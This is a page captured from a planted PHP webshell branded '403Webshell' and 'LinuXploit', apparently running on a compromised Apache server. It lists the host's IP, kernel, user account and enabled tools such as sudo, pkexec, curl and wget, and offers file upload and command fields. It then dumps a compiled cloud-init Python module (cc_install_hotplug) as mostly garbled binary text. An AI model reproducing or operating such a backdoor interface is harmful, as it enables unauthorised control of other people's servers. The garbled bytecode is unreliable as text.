403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/config/__pycache__/cc_install_hotplug.cpython-36.pyc
3

��b:�@s�UdZddlZddlmZddlmZmZmZddlm	Z	m
Z
mZddlm
Z
ddlmZmZddlmZeZe
gZd	d
ded�eed
�ed�ged�Ze	dddddddgddddddddddgd�d�id�id�id�Ze
ee�Zd Zd!Zd"d#�ZdS)$z3Install hotplug udev rules if supported and enabled�N)�dedent)�stages�subp�util)�
MetaSchema�get_meta_doc�validate_cloudconfig_schema)�ALL_DISTROS)�
EventScope�	EventType)�PER_INSTANCEZcc_install_hotplugzInstall Hotplugz(Install hotplug if supported and enabledas        This module will install the udev rules to enable hotplug if
        supported by the datasource and enabled in the userdata. The udev
        rules will be installed as
        ``/etc/udev/rules.d/10-cloud-init-hook-hotplug.rules``.

        When hotplug is enabled, newly added network devices will be added
        to the system by cloud-init. After udev detects the event,
        cloud-init will referesh the instance metadata from the datasource,
        detect the device in the updated metadata, then apply the updated
        network configuration.

        Currently supported datasources: Openstack, EC2
    z�            # Enable hotplug of network devices
            updates:
              network:
                when: ["hotplug"]
        z�            # Enable network hotplug alongside boot event
            updates:
              network:
                when: ["boot", "hotplug"]
        )�id�name�title�description�distrosZexamples�	frequency�object�updatesF�network�whenZarray�stringzboot-new-instancezboot-legacyZboot�hotplug)�type�additionalProperties�enum)rr�items)rZrequiredr�
properties)rrr)rrz2/etc/udev/rules.d/10-cloud-init-hook-hotplug.rulesz�# Installed by cloud-init due to network hotplug userdata
ACTION!="add|remove", GOTO="cloudinit_end"
LABEL="cloudinit_hook"
SUBSYSTEM=="net", RUN+="{libexecdir}/hook-hotplug"
LABEL="cloudinit_end"
c	Cs,t|t�d|ko@d|dko@d|ddko@d|dddk}tj|jjtjg�jtjt	��k}t
j|j|tjtjd�}|o�|s�tj
jt�r�|jd�tjt�tjddd	g�n|r�|jd
�n
|jd�dStjd�s�|jd�dSd
}tj
j|��sd}tjttj|d�d�tjddd	g�dS)Nrrrr)�
datasource�cfgZevent_source_typeZscopez!Uninstalling hotplug, not enabledZudevadmZcontrolz--reload-ruleszOHotplug is unsupported by current datasource. Udev rules will NOT be installed.z%Skipping hotplug install, not enabledz+Skipping hotplug install, udevadm not foundz/usr/libexec/cloud-initz/usr/lib/cloud-init)�
libexecdir)�filenameZcontent)r�schemarZHOTPLUGrZget_supported_events�getr
ZNETWORK�setrZupdate_event_enabled�os�path�exists�HOTPLUG_UDEV_PATH�debugrZdel_filerZwarningZwhichZ
write_file�HOTPLUG_UDEV_RULES_TEMPLATE�format)	�_namerZcloud�logZ_argsZnetwork_hotplug_enabledZhotplug_supportedZhotplug_enabledr �r.�(/usr/lib/python3.6/cc_install_hotplug.py�handleksB






r0)�__doc__r%�textwraprZ	cloudinitrrrZcloudinit.config.schemarrrZcloudinit.distrosr	Zcloudinit.eventr
rZcloudinit.settingsrrr�metar"r(r*r0r.r.r.r/�<module>sR 


Youez - 2016 - github.com/yon3zu
LinuXploit